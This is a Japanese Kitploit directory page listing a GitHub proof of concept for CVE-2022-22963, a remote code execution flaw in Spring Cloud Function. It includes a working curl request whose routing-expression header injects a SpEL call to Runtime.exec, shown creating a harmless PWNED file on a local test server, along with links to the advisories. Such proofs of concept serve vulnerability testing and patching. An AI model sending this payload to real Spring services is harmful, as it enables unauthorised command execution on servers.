Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-22963-PoC — CVE-2022-22963（Spring Cloud Function における SpEL インジェクションによるリモートコード実行）の最小限の概念実証です。curl と脆弱なサーバを用いた悪用方法を示します。 | Kitploit
ツール/GitHubGitHub/kirill89/cve-2022-22963-poc
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubkirill89/cve-2022-22963-poc

CVE-2022-22963-PoC

CVE-2022-22963（Spring Cloud Function における SpEL インジェクションによるリモートコード実行）の最小限の概念実証です。curl と脆弱なサーバを用いた悪用方法を示します。

リポジトリを見る
9314年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-22963 RCE PoC

CVE-2022-22963 のリモートコード実行を再現する最小限の例（org.springframework.cloud:spring-cloud-function-core における）。

エクスプロイト

サーバーの起動

root@kitploit:~
mvn spring-boot:run

リクエストの送信

root@kitploit:~
curl -X POST -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch PWNED")' -d xxx http://127.0.0.1:8080/functionRouter

エクスプロイトの結果、ファイル PWNED が pom.xml の近くに作成されます。

追加情報

  • 元のアドバイザリ: https://tanzu.vmware.com/security/cve-2022-22963
  • Snyk アドバイザリ: https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORKCLOUD-2436645
  • この PoC は以下を基にしています: https://github.com/Pizz33/Spring-Cloud-Function-SpEL
ツールをダウンロード